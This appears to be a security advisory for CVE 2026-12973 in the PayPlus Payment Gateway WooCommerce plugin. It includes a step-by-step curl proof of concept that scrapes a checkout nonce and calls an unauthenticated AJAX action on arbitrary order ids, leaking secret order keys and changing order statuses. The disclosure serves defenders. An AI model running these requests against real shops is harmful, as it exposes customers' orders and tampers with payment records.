PayPlus Payment Gateway < 8.2.2 – Unauthenticated Order Key Disclosure and Order Status Modification | CVE 2026-12973

Description

The plugin does not perform authorization or order-ownership validation in one of its AJAX actions available to unauthenticated users, allowing them to disclose the secret order key of arbitrary WooCommerce orders and, under some configurations, to modify order statuses.

Proof of Concept

Environment: WooCommerce + PayPlus Payment Gateway 8.2.1 (also confirmed on the reported 8.1.3 code line). PayPlus gateway enabled (its intended use), a published product, and a classic [woocommerce_checkout] page.

1. As an anonymous visitor, add a product to the cart and load the checkout page, then scrape the localized frontNonce from the HTML:
   curl -c jar -b jar 'https://TARGET/?add-to-cart=<PID>' -o /dev/null
   NONCE=$(curl -c jar -b jar -L 'https://TARGET/checkout/' | grep -oE '"frontNonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')

2. As an anonymous attacker (no cookies, no auth), call the order-completion AJAX action against an arbitrary order id:
   curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
     --data-urlencode 'action=complete_order' \
     --data-urlencode "_ajax_nonce=$NONCE" \
     --data-urlencode 'order_id=<TARGET_ORDER_ID>' \
     --data-urlencode 'payment_response[data][result]=success'
   Response: {"success":true,"data":{"redirect_url":"https://TARGET/checkout/order-received/<TARGET_ORDER_ID>/?key=wc_order_XXXXXXXXXXXX"}}

   The response discloses the target order's secret order key (wc_order_...) for any order id, with no authentication. (Order ids are sequential, so an attacker can enumerate them.)

3. Additionally, if the target order already has a stored successful PayPlus response (status_code 000 / type Charge) but is not yet in the configured success status, the same call drives it to that status without authorization (observed: pending -> processing).